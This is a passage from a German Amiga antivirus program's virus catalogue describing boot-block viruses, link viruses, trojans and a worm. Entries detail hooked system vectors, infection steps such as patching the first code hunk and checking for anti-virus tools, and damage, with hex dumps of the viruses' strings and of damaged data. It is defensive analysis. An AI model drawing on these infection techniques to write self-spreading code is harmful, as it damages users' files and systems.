  7114.          das Original-Programm liegt auf der VT-Disk im Unterver-
  7115.          zeichnis Utility) gelinkt. VT bietet nur loeschen an. Ein
  7116.          Ausbau lohnt nicht. Da bei der Verankerung im Speicher,
  7117.          absolute Speicheradressen, die bei vielen Rechnern nicht
  7118.          belegt sind, verwendet werden, erscheint haeufig der GURU.
  7119.  
  7120.    - DriveInfo V0.91 by ESP   trojanisches Pferd, Laenge: 1704 Bytes
  7121.          (PP-Data und ein decrunch-header davor)
  7122.             entpackt: Laenge: 1740 Bytes
  7123.             Im File ist dann z.B. zu lesen: EAST SIDE POWER 91/92
  7124.          KS2.04: NEIN  Findet dann KEIN Laufwerk und meldet sich mit
  7125.             Requester. Nach kurzer Zeit dann GURU beim Arbeiten.
  7126.          Versucht unter KS1.3 zu taeuschen, indem Laufwerksdaten (Drive,
  7127.           Volume usw.) ausgegeben werden.
  7128.          Verhindert hierbei AutoRequest. Installiert mit addintserver
  7129.          "Install yeah!" . Wird nach Crime!++ - Installierung mit Rem-
  7130.          IntServer wieder entfernt. Interrupt = 5 .
  7131.          Installiert nach etwa EINER Minute (das ist echt neu) Crime!++
  7132.          im Speicher (Cool, wait usw. s.o.).
  7133.          Empfehlung: sofort loeschen
  7134.             siehe auch :  Crime!++
  7135.  
  7136.    - DSC101-Virus  Zerstoerungsfile gegen BBS:
  7137.          Ungepackt Laenge: 33152 Bytes . VT kennt nur die ungepackte
  7138.          Version, weil mir das Prg. ungepackt zugeschickt wurde.
  7139.          Von der Definition KEIN Virus, da keine Vermehrungsroutine
  7140.          vorhanden. Grosse Teile des Prg.s bestehen nur aus Null-Bytes.
  7141.          Ein Teil des wirklichen Prg.s ist codiert mit:  not.b (a0)+
  7142.          Das Prg. bleibt NICHT im Speicher
  7143.          Das Prg versucht durch eine Cli-Ausgabe zu taeuschen:
  7144.           Disk Speed Check V1.01ß - © Micro-Tech Softwares® 1992
  7145.           Programming by Alan Forslake. (1.10.1992)
  7146.           Usage : DSC -mode <drive>, Where mode is :
  7147.           1=disk speed check 2=scsi speed test
  7148.  
  7149.           Didnt` found a supported SCSI drive, sorry!
  7150.           Try to contact Alan Forslake on :223/22/32 in@sf@com
  7151.  
  7152.          In Wirklichkeit wird versucht (aber wirklich nur versucht)
  7153.          folgende Teile zu loeschen:
  7154.  
  7155.              bbs:user.keys
  7156.              bbs:user.data
  7157.              sys:s/startup-sequence
  7158.              s:acp.startup
  7159.  
  7160.          Empfehlung: einfach loeschen
  7161.          VT Fileerkennung getestet: 19.10.92
  7162.  
  7163.    - DTL-Virus   BB  Micro-System-Clone  s.u.
  7164.            51c8ffee 4ef90007 f7944454 4c214454 Q...N.....DTL!DT
  7165.            4c201d5a 19594f55 52204449 534b2049 L .Z.YOUR DISK I
  7166.            5320494e 46454354 45442042 59201d65 S INFECTED BY .e
  7167.  
  7168.    - DUMDUM  BB   auch mit KS2.04
  7169.          immer ab $7FA00
  7170.          Cool, im Prg DoIo, $64, $80  (Hallo Enforcer-Freunde)
  7171.             Text im BB lesbar:
  7172.          You are the owner of a DUMDUM virus please unprotect
  7173.          disk disk to kill!
  7174.             (machen Sie das BITTE NICHT)
  7175.          Textausgabe mit DisplayAlert
  7176.          Schaeden und Vermehrung:
  7177.          - Vermehrung ueber BB
  7178.          oder:
  7179.          - Format Disk
  7180.    - DUMDUM-Clone:
  7181.          DisplayAlert-Text geaendert.
  7182.    - DUMDUM-TAI5-Clone
  7183.          Text geaendert:
  7184.            00000013 2e2e2e2e 2e2c3b2d 3a3a542e .........,;-::T.
  7185.            412e492e 203b2e2e 292e2e2e 2e2e2e2e A.I. ;..).......
  7186.  
  7187.    - DUMDUM-Clone-Inst.    gepackt: 1332 Bytes
  7188.                           entpackt: 1916 Bytes
  7189.          Ein 3c(a7)-Link File (s.o.), das einen DUMDUM-Clone.BB im
  7190.          Speicher verankern soll. Das Teil war an 6Vekaus (richtig,
  7191.          das Original-Programm liegt auf der VT-Disk im Unterver-
  7192.          zeichnis Utility) gelinkt. VT bietet nur loeschen an. Ein
  7193.          Ausbau lohnt nicht. Die Dummheit zeigt sich daran, dass ein
  7194.          BB im Speicher verankert wird und anschliessend mit dem
  7195.          Orig-6Vekaus-Aufruf die sechs wichtigsten Vektoren wieder
  7196.          geloescht werden.
  7197.  
  7198.    - DUM2DUM-Virus   BB   Block 0-5 = 6 Bloecke
  7199.          Cool, DoIo
  7200.          KS1.3 : Ja
  7201.          KS2.04: Ja   (Vermehrung)
  7202.          Versucht durch Anzeige eines sauberen BBs zu taeuschen.
  7203.          Namensbegruendung:
  7204.          Im Speicher ist zu lesen:
  7205.            646f732e 6c696272 61727900 61000000 dos.library.a...
  7206.            00000000 00004455 4d3c4949 3e44554d ......DUM<II>DUM
  7207.          Schaden 1:
  7208.          Mit dem verbogenen DoIo findet die Vermehrung statt. Files,
  7209.          die ab Block 2 liegen, werden ueberschrieben und sind NICHT
  7210.          zu retten. VT wird dann bei Block-Kette Bad-T.Data ausgeben,
  7211.          sobald ein File Block 2-5 belegt hatte.
  7212.          Schaden 2:
  7213.          Ab $6E000 werden 2 Zeiger geaendert. Dies fuehrt haeufig zu
  7214.          Bitmap ungueltig. $6E000 ist nur bei DD-Disk der Rootblock.
  7215.                   Vorher:                         Nachher:
  7216.         130: 000000f2 0000018d ........ 130: 000000f2 0000018d ........
  7217.         138: ffffffff 00000332 .......2 138: 00000000 00000332 .......2
  7218.              ^^^^^^^^                        ^^^^^^^^
  7219.         140: 00000000 00000000 ........ 140: 00000000 00000000 ........
  7220.             ;.......
  7221.         198: 00000000 00000000 ........ 198: 00000000 00000000 ........
  7222.         1a0: 00000000 000053b9 ......S. 1a0: ffffffff 000053b9 ......S.
  7223.              ^^^^^^^^                        ^^^^^^^^
  7224.          Es wird also bei naechster Gelegenheit der Disk-Validator
  7225.          aktiv, der aber nichts mit dem Virusteil zu tun hat.
  7226.          Schaden 3:
  7227.          Sobald eine Zaehlzelle den Wert $50 erreicht hat, wird in der
  7228.          dos.lib ein Wert mit cmpi.w #$4EF9,(a0) getestet. Stimmt das
  7229.          Ergebnis nicht, so wird dosopen, dosread und doswrite verbogen.
  7230.          Sobald dieser Virusteil aktiviert ist, treten haeufig GURUS
  7231.          auf. Aber es reicht leider immer fuer die Zerstoerung einiger
  7232.          Files. Diese Files koennen leider NICHT gerettet werden und
  7233.          werden von VT auch nicht erkannt.
  7234.          Der geschriebene Muell ist auch von $DFF007 abhaengig.
  7235.          Beispiele:
  7236.          Vorher:                         Nachher:
  7237.          000: 000003f3 00000000 ........ 000: 000003f3 00000000 ........
  7238.          008: 00000002 00000000 ........ 008: 00000002 00000000 ........
  7239.          010: 00000001 0000009e ........ 010: 2e2e2e2e 2e2e2e2e ........
  7240.          018: 00003246 000003e9 ..2F.... 018: 2e2e2e2e 2e2e2e2e ........
  7241.          020: 0000009e 487a01c8 ....Hz.. 020: 2e2e2e2e 2e2e2e2e ........
  7242.          028: 48e7fffe 49fafff2 H...I... 028: 2e2e2e2e 2e2e2e2e ........
  7243.          030: 2054d1c8 d1c85848  T....XH 030: 2054d1c8 d1c85848  T....XH
  7244.          038: 2648504b 2c780004 &HPK,x.. 038: 2648504b 2c780004 &HPK,x..
  7245.  
  7246.          Vorher:                         Nachher:
  7247.          000: 000003f3 00000000 ........ 000: 00000000 00000000 ........
  7248.          008: 00000009 00000000 ........ 008: 00000000 00000000 ........
  7249.          010: 00000008 0000001e ........ 010: 00000000 00000000 ........
  7250.          018: 00002274 00000c73 .."t...s 018: 00000000 00000000 ........
  7251.          020: 00000520 00001542 ... ...B 020: 00000000 00000000 ........
  7252.          028: 00000500 00000080 ........ 028: 00000000 00000000 ........
  7253.          030: 000021a9 0000123d ..!....= 030: 00000000 00000000 ........
  7254.          038: 000003e9 0000001e ........ 038: 00000000 00000000 ........
  7255.  
  7256.    - DUNGEON-OF-DOOM Trojan   siehe bei COP Typ-L
  7257.  
  7258.    - DYNAMIX-Virus  BB  Loeschen
  7259.         Es duerfte sich um einen Pentagon.BB mit geaendertem Text handeln.
  7260.         Immer ab $7FB00
  7261.         Cool $7Fb4c und DoIo im Prg.
  7262.         Testet auf einige VirenLangworte
  7263.         Schreibt sich auf DOS0-Disketten
  7264.         Fordert trackdisk.device NICHT !!!
  7265.         Im BB ist zu lesen:
  7266.            14546865 2044594e 414d4958 20564952 .The DYNAMIX VIR
  7267.            5553204b 494c4c45 52205634 2e30205b US KILLER V4.0 [
  7268.  
  7269.    - East-Star-Virus   BB   NorthStar-Clone
  7270.          Immer ab $7EC00,
  7271.          Cool im Prg. DoIo
  7272.          Fordert trackdisk.device NICHT
  7273.          Namensbegruendung:
  7274.            00784561 73742d20 53746172 00020002 .xEast- Star....
  7275.          Weitere im BB lesbare Texte:
  7276.            00500c4e 6f205669 72757320 6973206f .P.No Virus is o
  7277.            6e207468 65204469 736b2052 45442042 n the Disk RED B
  7278.            55524e49 4e472042 49475354 41520000 URNING BIGSTAR..
  7279.            usw.
  7280.  
  7281.    - East-Star-Install   File  Laenge ungepackt: 8340 Bytes
  7282.          An das Prg. MComm wurde mit Hunklab ein East-Star-BB mit
  7283.          Install-Routine angelinkt. In diesem angelinkten Teil ist
  7284.          "trackdisk.device" zu lesen.
  7285.          VT bietet Ausbau an.
  7286.  
  7287.    - EASY-E-BBS-Trojan
  7288.          File verseucht Laenge: 38860 Bytes
  7289.          Teil ausgebaut Laenge: 38416 Bytes
  7290.          Verlaengerung also 444 Bytes
  7291.          Keine verbogenen Vektoren
  7292.          Im File ist zu lesen:    
  7293.            00000000 00000000 00000000 00004541 ..............EA
  7294.            53592d45 00006468 303a6262 732f7573 SY-E..dh0:bbs/us
  7295.            65722e64 61746100 00000000 000003f2 er.data.........
  7296.          Schaden:
  7297.            Einbruchswerkzeug fuer BBS
  7298.          Nach dem Ausbau mit VT sollte ein Paradox Starfield-Intro
  7299.          uebrigbleiben.
  7300.          Lauffaehigkeit A2000 68030 ja   A4000/40 nein
  7301.          Nachtrag 10.05.94:
  7302.          Ein anderes AntiVirusProgramm erkennt auch noch NACH dem
  7303.          erfolgreichen Ausbau mit VT den EASY-Trojan. Ich nehme an,
  7304.          dass diese Fehlerkennung im naechsten Update (Juni 94) be-
  7305.          hoben sein wird.
  7306.  
  7307.    - Ebola-Inst.    File
  7308.         Bekannte Filenamen:
  7309.           speedmaker.exe  (gepackt 16252)
  7310.             (soll laut Fenster (Speedmaker 1.87) ein Testprg. sein )
  7311.           Loadwb  (2280)
  7312.             (enthaelt neben Ebola auch noch einen DFF006-Bereich, der
  7313.              in meinen LoadWB-Files nicht vorkommt)
  7314.         Nur Loeschen sinnvoll
  7315.  
  7316.    - Ebola-Virus    Link
  7317.        Mind. KS 37
  7318.        Nicht Resetfest
  7319.        Fileverlaengerung: 1116 Bytes
  7320.        Verbogene Vektoren: Loadseg, FindTask, OpenResource
  7321.        Ueberlaeuft 3E8 und 3F1-Hunks
  7322.        Haengt sich hinter ersten Hunk.
  7323.        Codiert sich mit $DFF006
  7324.        Im decodierten Linkteil ist zu lesen:
  7325.                                            2d2a               -*
  7326.             5b45626f 6c612028 63292039 342c3935 [Ebola (c) 94,95
  7327.             205a6169 72652e5d 2a2d536e 6f6f7044  Zaire.]*-SnoopD
  7328.             6f730000 536e6f6f 70446f73 20537570 os..SnoopDos Sup
  7329.             706f7274 2050726f 63657373 00002e00 port Process....
  7330.        Ablauf:
  7331.        Zuerst Test auf SnoopDos (falls ja, nicht im Speicher ein-
  7332.        haengen).
  7333.        Test auf Disk Val.
  7334.        Mind. 5 Bloecke frei
  7335.        File groesser #2500 und kleiner #130000 Bytes
  7336.         (also kann Loadwb s.o. nicht durch Verseuchung entstanden
  7337.          sein, sondern wurde anders manipuliert)
  7338.        Test auf $AB1590EF  (schon verseucht)
  7339.        Suche nach $4EAE    ( jsr -xy(Lib-Base) )
  7340.                            ( xy ist variabel )
  7341.        Falls gefunden, Test ob Abstand zu Hunkende kleiner $7FFE.
  7342.        $4EAE wird in $4EBA  ( jsr Hunkende(PC) ) geaendert.
  7343.        VT sollte das Teil im Speicher finden.
  7344.        VT sollte das Teil aus Files ausbauen koennen und den Original-
  7345.        sprungbefehl wieder setzen.
  7346.  
  7347.  
  7348.    - EF67A3C3-LVirus    Link
  7349.        Fileverlaengerung: 1392 Bytes
  7350.        Verbogener Vektor: LoadSeg
  7351.        Namensbegruendung: s.u.
  7352.        KS1.3: ja
  7353.        Im File ist zu lesen:
  7354.             00000153 6004ef67 a3c348e7 fffe2c79 ...S`..g..H...,y
  7355.             ;....        ^^^^^^^^^ Namensbegruendung
  7356.             000003ec 00000001 00000001 000000cc ................
  7357.                 ^^^^
  7358.             00000000 000003f2 000003ea 00000069 ...............i
  7359.                                   ^^^^
  7360.        Speichereinbindung:
  7361.        Ueber LoadSeg
  7362.        Dabei wird ueber das Langwort $EF67A3C3 (s.o.) ueberprueft, ob
  7363.        das Teil im Speicher schon aktiv ist.
  7364.        Link an ein File:
  7365.        Medium nicht WriteProtect (ganz alt ??? Disk ???)
  7366.        File ausfuehrbar (3F3)
  7367.        CodeHunk (3E9) wird gefunden
  7368.        KEIN Test auf bestimmte Filelaengen
  7369.        KEIN Test auf Buchstaben im Filenamen
  7370.        File noch nicht verseucht (Test mit EF67A3C3)
  7371.        Ueber eine Zaehlzelle wird erreicht, dass nicht jeder LoadSeg-
  7372.        Aufruf zu einem Linkversuch fuehrt.
  7373.        Das Teil linkt sich als neuer 1.Hunk vor den Original-1.Hunk.
  7374.        Deshalb muss das Teil auch die Relocs der folgenden Hunks ver-
  7375.        aendern.
  7376.        Das Teil braucht auch einen Reloc-Hunk (s.o.) fuer sich selbst.
  7377.        Die 3E9-Kennung des Original-1.Hunks wird in 3EA (s.o.) geaendert
  7378.        Warum: keine Ahnung  (3EA = Data)
  7379.        VT versucht das Teil auszubauen und auch die Reloc-Hunks zurueck-
  7380.        zusetzen. VT sucht auch nach der 3EA-Kennung. Falls diese nicht
  7381.        gefunden wird, sollte die Meldung "Hunkstruk. defekt" erscheinen.
  7382.  
  7383.  
  7384.    - Elbereth-LVirus    Linkvirus
  7385.       Namensbegruendung: 
  7386.            Im decodierten LinkTeil ist zu lesen:
  7387.            0cbbbb20 456c6265 72657468 2120abab ... Elbereth! ..
  7388.       Fileverlaengerung: #936 Bytes
  7389.       Nicht Resetfest
  7390.       Verbogene Vektoren: Open  LoadSeg
  7391.       Test auf mind. KS2.04: ja
  7392.       Speicherverankerung:
  7393.            - Test ob schon im Speicher
  7394.            - Loadseg und Open wird verbogen
  7395.            - Testet spaeter geladene Filenamen auf "v" oder "V".
  7396.       Linkvorgang:
  7397.            - mit LoadSeg und Open
  7398.            - File noch nicht verseucht
  7399.            - Medium validated
  7400.            - 4 Block frei
  7401.            - File ausfuehrbar ($3F3)
  7402.            - CodeHunk wird gefunden ($3E9)
  7403.            - 1.Hunk nicht groesser als #32764  (wg. Sprung)
  7404.            - Das erste LW des 1.Hunks wird durch bsr Virus ($6100wxyz)
  7405.              oder jsr Virus ($4EBAwxyz) ersetzt. Abhaengig von $DFF007
  7406.            - Link hinter den 1.Hunk
  7407.            - das Teil codiert sich immer neu mit $DFF007
  7408.       Zerstoerung:    
  7409.        Start 2.Obj.: +# 0
  7410.        Data-File vorher:               Data-File nachher
  7411.        000: 31323334 35363738 12345678 000: 33343132 37383536 34127856
  7412.        008: 39306162 63646566 90abcdef 008: 61623930 65666364 ab90efcd
  7413.           - Abhaengig von $DFF007
  7414.           - Falls kein $3F3 gefunden, also Data-File
  7415.           - Im Langwort werden jeweils die vorderen zwei Bytes mit
  7416.             den hinteren zwei Bytes vertauscht.
  7417.           VT kann diese Data-Files NICHT erkennen und NICHT zurueck-
  7418.           setzen.
  7419.       Meldung:
  7420.           - Abhaengig von der SystemZeit und einem Wert im Linkteil.
  7421.             ($4AF = 19:59)
  7422.           - DisplayAlert (Text siehe oben)
  7423.           - Danach Reset
  7424.       VT versucht die Vektoren im Speicher zurueckzusetzen. Dies geht
  7425.       NICHT, falls der Elbereth-Installer die Vektoren verbogen hat.
  7426.       Das Teil befindet sich in einer Schleife und kehrt nie zum
  7427.       Cli-Prompt zurueck. Hier hilft nur ein Reset und Boot von einer
  7428.       sauberen Disk. Werden die Vektoren von verseuchten Files ver-
  7429.       bogen, so sollte VT in der Lage sein, die Vektoren zurueckzu-
  7430.       setzen.
  7431.       VT versucht den Linkausbau bei einem ausfuehrbaren File.
  7432.  
  7433.    - Elbereth2-Virus    Linkvirus
  7434.       Namensbegruendung:    
  7435.            Im decodierten LinkTeil ist zu lesen:
  7436.            00044eee fd2a00c8 0c456c62 65726574 ..N..*...Elberet
  7437.            68203220 20202028 63292031 39393620 h 2    (c) 1996
  7438.       Fileverlaengerung: #772 Bytes
  7439.       Nicht Resetfest
  7440.       Verbogener Vektor: LoadSeg
  7441.       Test auf mind. KS2.04: ja
  7442.       Speicherverankerung:
  7443.            - Test ob schon im Speicher
  7444.            - Loadseg wird verbogen
  7445.            - Testet spaeter geladene Filenamen auf "v" oder "V".
  7446.       Linkvorgang:
  7447.            - mit LoadSeg
  7448.            - File noch nicht verseucht
  7449.            - Medium validated
  7450.            - 4 Block frei
  7451.            - File ausfuehrbar ($3F3)
  7452.            - CodeHunk wird gefunden ($3E9)
  7453.            - 1.Hunk nicht groesser als #32764  (wg. Sprung)
  7454.            - Filelaenge kleiner #60000
  7455.            - Das erste LW des 1.Hunks wird durch jsr Virus ($4EBAwxyz)
  7456.              ersetzt.
  7457.            - das Teil codiert sich immer neu mit $DFF007
  7458.       Meldung:
  7459.           - Abhaengig von den SystemSekunden ($CE4 = 66 Sek. = Schwach-
  7460.             sinn) und den Systemtagen soll mit DisplayAlert (Text siehe
  7461.             oben) eine Ausgabe erfolgen.
  7462.           - Danach Reset
  7463.       VT versucht den Vektor im Speicher zurueckzusetzen.
  7464.       VT versucht den Linkausbau bei einem ausfuehrbaren File.
  7465.  
  7466.    - Elbereth3-Virus    Linkvirus
  7467.       vgl. auch Disnomia
  7468.       Namensbegruendung:    
  7469.            Im decodierten LinkTeil ist zu lesen: 
  7470.            0c3d3d20 456c6265 72657468 2033203d .== Elbereth 3 =
  7471.       Fileverlaengerung: #900 Bytes
  7472.       Nicht Resetfest
  7473.       Verbogene Vektoren: LoadSeg NewLoadSeg
  7474.       KS2.04 + 68030 : ja
  7475.       KS40.63 + 68030: bei mir bei Vermehrungsversuch immer GURU
  7476.       Speicherverankerung:
  7477.            - Test ob schon im Speicher
  7478.            - Loadseg und NewloadSeg wird verbogen
  7479.            - Testet spaeter geladene Filenamen auf "v" oder "V".
  7480.       Linkvorgang:
  7481.            - mit LoadSeg und NewLoadSeg
  7482.            - File noch nicht verseucht (Datum)
  7483.            - Medium validated
  7484.            - 4 Block frei
  7485.            - File ausfuehrbar ($3F3)
  7486.            - CodeHunk wird gefunden ($3E9)
  7487.            - Filelaenge groesser #1800
  7488.            - File kleiner einem bestimmten Wert, abhaengig von der
  7489.              Gesamtblockzahl des Mediums.
  7490.            - Gesucht wird am Ende des 1.Hunks in einem Bereich von
  7491.              #32736 ($3ff0 x 2) nach bcc ($6v00wxyz), jsr xy ($4EBAwxyz)
  7492.              oder jsr -xy(a6) ($4EAE Fxyz)
  7493.            - Dieses LW wird durch bsr Virus ($6100wxyz)
  7494.              ersetzt.
  7495.            - das Teil codiert sich immer neu mit $DFF007
  7496.            - versucht ProtectionBits zu retten
  7497.       Meldung:
  7498.           - Abhaengig von den SystemZeit ($4AF = 19:59) und den
  7499.             Systemtagen soll mit DisplayAlert (Text siehe oben)
  7500.             eine Ausgabe erfolgen.
  7501.           - Danach Reset
  7502.       VT versucht die Vektoren im Speicher zurueckzusetzen. 
  7503.       VT versucht den Linkausbau bei einem ausfuehrbaren File.
  7504.       Hinweis: Wenn Sie ein verseuchtes File kopieren und dabei das
  7505.       Filedatum nicht mitnehmen, so kann dieses File noch einmal
  7506.       verseucht werden. Es sind also Mehrfachlinks (im Test) moeglich.
  7507.          
  7508.    - Elbereth4-Virus    Linkvirus
  7509.       Namensbegruendung:    
  7510.            Im decodierten LinkTeil ist zu lesen: 
  7511.            4eaefd84 2c5f4e75 00be0c3d 3d20456c N...,_Nu...== El
  7512.            62657265 74682034 203d3d20 202020a9 bereth 4 ==    .
  7513.            20313939 3620506f 6c616e64 0000646f  1996 Poland..do
  7514.            732e6c69 62726172 79005657 506f7274 s.library.VWPort
  7515.            00566972 75735a5f 49490056 69727573 .VirusZ_II.Virus
  7516.            5f436865 636b6572 28ae2900 00000000 _Checker(.).....
  7517.       Fileverlaengerung: #1000 Bytes
  7518.       Nicht Resetfest
  7519.       Verbogener Vektor: LoadSeg
  7520.       KS2.04 + 68030 : ja
  7521.       KS40.63 + 68030: bei mir bei Vermehrungsversuch immer GURU
  7522.       Speicherverankerung:
  7523.            - Test ob schon im Speicher
  7524.            - Test ob Antivirusprg.e aktiv  (s.o.)
  7525.            - Loadseg wird verbogen
  7526.            - Testet spaeter geladene Filenamen auf "v" oder "V".
  7527.       Linkvorgang:
  7528.            - mit LoadSeg
  7529.            - File noch nicht verseucht (Datum)
  7530.            - Medium validated
  7531.            - 4 Block frei
  7532.            - File ausfuehrbar ($3F3)
  7533.            - CodeHunk wird gefunden ($3E9)
  7534.            - Ueberlaeuft $3F1-Hunks
  7535.            - Filelaenge groesser #4000
  7536.            - File kleiner einem bestimmten Wert, abhaengig von der
  7537.              Gesamtblockzahl des Mediums.
  7538.            - Gesucht wird am Ende des 1.Hunks in einem Bereich von
  7539.              #32736 ($3ff0 x 2) nach bcc ($6v00wxyz), jsr xy ($4EBAwxyz)
  7540.              oder jsr -xy(a6) ($4EAE Fxyz)
  7541.            - Dieses LW wird durch bsr Virus ($6100wxyz) oder jsr Virus
  7542.              (4EBAwxyz) ersetzt.
  7543.            - das Teil codiert sich immer neu mit $DFF007
  7544.            - versucht ProtectionBits zu retten
  7545.              (falls Sie aber vorher mit VT Pruefsummen gebildet haben,
  7546.              wird die Veraenderung auch mit einem aelteren VT erkannt.)
  7547.       Meldung:
  7548.           - Abhaengig von den SystemZeit ($4B0 = 20:00) und den
  7549.             Systemtagen soll mit DisplayAlert (Text siehe oben)
  7550.             eine Ausgabe erfolgen.
  7551.           - Danach Reset
  7552.       VT versucht den Vektor im Speicher zurueckzusetzen.
  7553.       VT versucht den Linkausbau bei einem ausfuehrbaren File.
  7554.       Hinweis: Wenn Sie ein verseuchtes File kopieren und dabei das
  7555.       Filedatum nicht mitnehmen, so kann dieses File noch einmal
  7556.       verseucht werden. Es sind also Mehrfachlinks (im Test) moeglich.
  7557.  
  7558.  
  7559.    - ELECTROVI.Virus  BB   FORPIB-Clone siehe unten
  7560.          Nur Text geaendert:
  7561.            454c4543 54524f2d 56495349 4f4e2020 ELECTRO-VISION
  7562.            2020414e 54492d56 49525553 20202020   ANTI-VIRUS
  7563.            46312d31 31202020 20524f52 52592020 F1-11    RORRY
  7564.  
  7565.    - ELENI!-Installer  siehe bei MessAngel-Inst.
  7566.    - ELENI!-B-Virus    siehe bei MessAngel-B-Virus
  7567.    - ELENI!.BB         siehe bei MessAngel.BB
  7568.  
  7569.    - ELENI-Clock-Virus        BB
  7570.          Im BB ist zu lesen:
  7571.            202a454c 454e492a 20000000 00000000  *ELENI* .......
  7572.          KS 1.3: nein
  7573.          KS 2.0: ja
  7574.          Fordert trackdisk.device NICHT
  7575.          Im Speicher immer ab $7F144
  7576.          Verbogene Vektoren: Cool $7F296, DoIo $7F2DA,
  7577.                              SumKickData $7F32A
  7578.          Vermehrung:
  7579.          Als BB
  7580.          Dabei wird zuerst der Orig-BB eingelesen und nach einem LW
  7581.          ( $4EAEFE38 = jsr -$1c8(a6) ) im BB gesucht. In den Original
  7582.          Commodore-BBen kommt es nicht vor. Falls dieses LW gefunden
  7583.          wird, so wird zuerst der Original-BB auf die Disk nach
  7584.          $D9400 = Bl 1738/39 gerettet. VT sucht beim Test (Gadget O-BB)
  7585.          nach dem ausgelagerten BB. Ein File das an dieser Stelle liegt,
  7586.          ist natuerlich ueberschrieben und NICHT mehr zu retten.
  7587.          Nach einem Reset und dem Start von dieser Disk versucht das
  7588.          BB-Virusteil den Orig-BB nach $7A000 zu laden und falls ge-
  7589.          funden nach dem Verbiegen der Vektoren mit JMP $7A00C auszu-
  7590.          fuehren.
  7591.          cmpi.b #$37,$BFEC01  Test auf li.Alt-Taste = Fluchttaste
  7592.          Schaeden:
  7593.          Es werden mehrere Hardware-Register veraendert.
  7594.          (z.B. das Datum aendert sich)
  7595.          Hinweis: beim A2000A liegt die Uhr aber bei $D80000 .
  7596.          Beispiele:
  7597.          Falls $DC002D groesser als 4 ist und in $60000 1 steht, wird
  7598.          im Cli mehrmals *ELENI* ausgegeben.
  7599.          Falls $DC002D #1 oder $BFE901 #9 sind, springt das Prg. zu
  7600.          einer Endlosschleife mit Kopfstep und LED-Blinken. Es hilft
  7601.          nur ein Reset.
  7602.          Bitte booten Sie von einer sauberen Disk und vergessen Sie
  7603.          nicht, die Uhr neu zu stellen, falls eine Hardware-Uhr vor-
  7604.          handen ist.
  7605.          Hinweis 1:
  7606.          Das VirusTeil belegt Speicher ohne AllocMem. Andere Prge.
  7607.          z.B. VT koennen bei wenig Speicher das Virusteil ueberschrei-
  7608.          ben.
  7609.          Hinweis 2:
  7610.          Es wird IMMER ein DOS0-Virus-BB geschrieben. Auf einer Disk
  7611.          mit FFS-Struktur kann nach dem naechsten Schreibzugriff, die
  7612.          Disk-Struktur beschaedigt sein. Anzeichen dafuer: VT meldet
  7613.          beim Filetest IMMER bad Data . Versuchen Sie dann bitte einen
  7614.          DOS1-BB (FastFileSystem) oder gar DOS5-BB aufzuspielen.
  7615.          Manchmal koennen Sie noch etwas retten.
  7616.  
  7617.  
  7618.    - ELENI-Wirus   BB  (ja W statt V)  siehe unten bei Mount-Virus
  7619.          Bitte verwechseln Sie diesen BB nicht mit dem ELENI-Clock-Virus
  7620.  
  7621.    - Elien-Trojan     File
  7622.          Laenge gepackt:   1016 Bytes
  7623.          Laenge ungepackt:  596 Bytes
  7624.          Keine verbogenen Vektoren
  7625.          Keine Vermehrung
  7626.          Im File ist zu lesen:
  7627.            79000000 00000000 00000000 7379733a y...........sys:
  7628.            4d654761 53555858 2e545854 00006161 MeGaSUXX.TXT..aa
  7629.            61616161 61610024 5645523a 456c6965 aaaaaa.$VER:Elie
  7630.            6e5f7669 7275735f 63686563 6b657220 n_virus_checker
  7631.          Wird also wahrscheinlich als Virus-Checker fuer die startup-
  7632.          seq. angeboten.
  7633.          Schaden:
  7634.          Legt nach dem Start ein File mit dem Namen MeGaSUXX.TXT an
  7635.          und schreibt in einem loop 9 Bytes aaaa aaaa 0 in dieses
  7636.          File. Der Loop (move.l #$186a0,d0) hat #100000 Durchlaeufe.
  7637.          Also wird das File 900000 Bytes lang.
  7638.          Im MeGaSUXX.TXT-File koennen Sie lesen:
  7639.            61616161 61616161 00616161 61616161 aaaaaaaa.aaaaaaa
  7640.            61006161 61616161 61610061 61616161 a.aaaaaaaa.aaaaa
  7641.            usw.
  7642.          Falls das Speichermedium inzwischen voll wird, erscheint bei
  7643.          mir ein Disk-Full-Requester. Dann muss Ihnen aber wirklich auf-
  7644.          fallen, dass etwas nicht stimmt.
  7645.          Es handelt sich um eine Anfaengerprogrammierung und einige Teile
  7646.          werden nie erreicht.
  7647.          VT bietet nur loeschen an.
  7648.  
  7649.  
  7650.    - EM-Wurm        (zielgerichtet gegen EUROMAIL)
  7651.          nicht resetfest
  7652.          immer:
  7653.          schreibt in startup-sequence  $A0,$0A  (1.Zeile)
  7654.          eigener Process: clipboard.device
  7655.          schreibt in c: $A0, Laenge: 3888 Bytes (ASCII-Text vorhanden)
  7656.          schreibt in 5.Byte von c:protect (falls vorhanden) $01
  7657.          Folge: protect wird unbrauchbar
  7658.          Zerstoerungsroutine:
  7659.          Wird nur ausgefuehrt wenn Verzeichnis EM, EUROMAIL oder
  7660.          EUROSYS vorhanden ist.
  7661.          Ueberschreibt alle Files in obengenannten Schubladen mit
  7662.          Speicherinhalt ab MsgPort. In zerstoerten Files ist ab $BC
  7663.          clipboard.device zu lesen.
  7664.          Dann wird mit dosdelay $259A eine 3 Minuten Pause eingelegt.
  7665.          Nach dieser Pause wird die Zerstoerungsroutine wieder in der
  7666.          Schleife aufgerufen.
  7667.          Ursprungsprogramm:
  7668.          QuickInt   PP-crunched  Laenge: 3196 Bytes
  7669.          Mein VT loescht den Process  n i c h t, sondern fuellt ihn
  7670.          mit NOP's.
  7671.          Einige Programmteile, z.B. Autorequester, con usw. konnten
  7672.          nicht getestet werden, weil ich EUROMAIL nicht besitze. Diese
  7673.          Teile werden ebenfalls mit NOP's ueberschrieben. Falls des-
  7674.          halb bei aktivem EUROMAIL-Programm ein GURU erscheint, bitte
  7675.          ich um Hilfestellung. Danke !!
  7676.  
  7677.  
  7678.    - EOL-Trojan ??  File
  7679.          Hoechstens ein Trojan, deshalb die Fragezeichen.
  7680.          Laenge gepackt:  8168 Bytes
  7681.          Laenge entpackt: 12560 Bytes
  7682.          Keine verbogenen Vektoren
  7683.          Kein Virus
  7684.          VT bietet loeschen an. Entscheiden Sie bitte selbst.
  7685.          Im entpackten File ist zu lesen: 
  7686.              73616765 3a201a45 4f4c203c 736f7572 sage: .EOL <sour
  7687.              63653e20 3c646573 74696e61 74696f6e ce> <destination
  7688.              3e202d61 75746f64 65746563 74732077 > -autodetects w
  7689.              68657468 65722069 6e736572 74206f72 hether insert or
  7690.              2064656c 65746520 43522028 24304429  delete CR ($0D)
  7691.              2957656c 636f6d65 20746f20 454f4c20 )Welcome to EOL
  7692.                 ;.....  
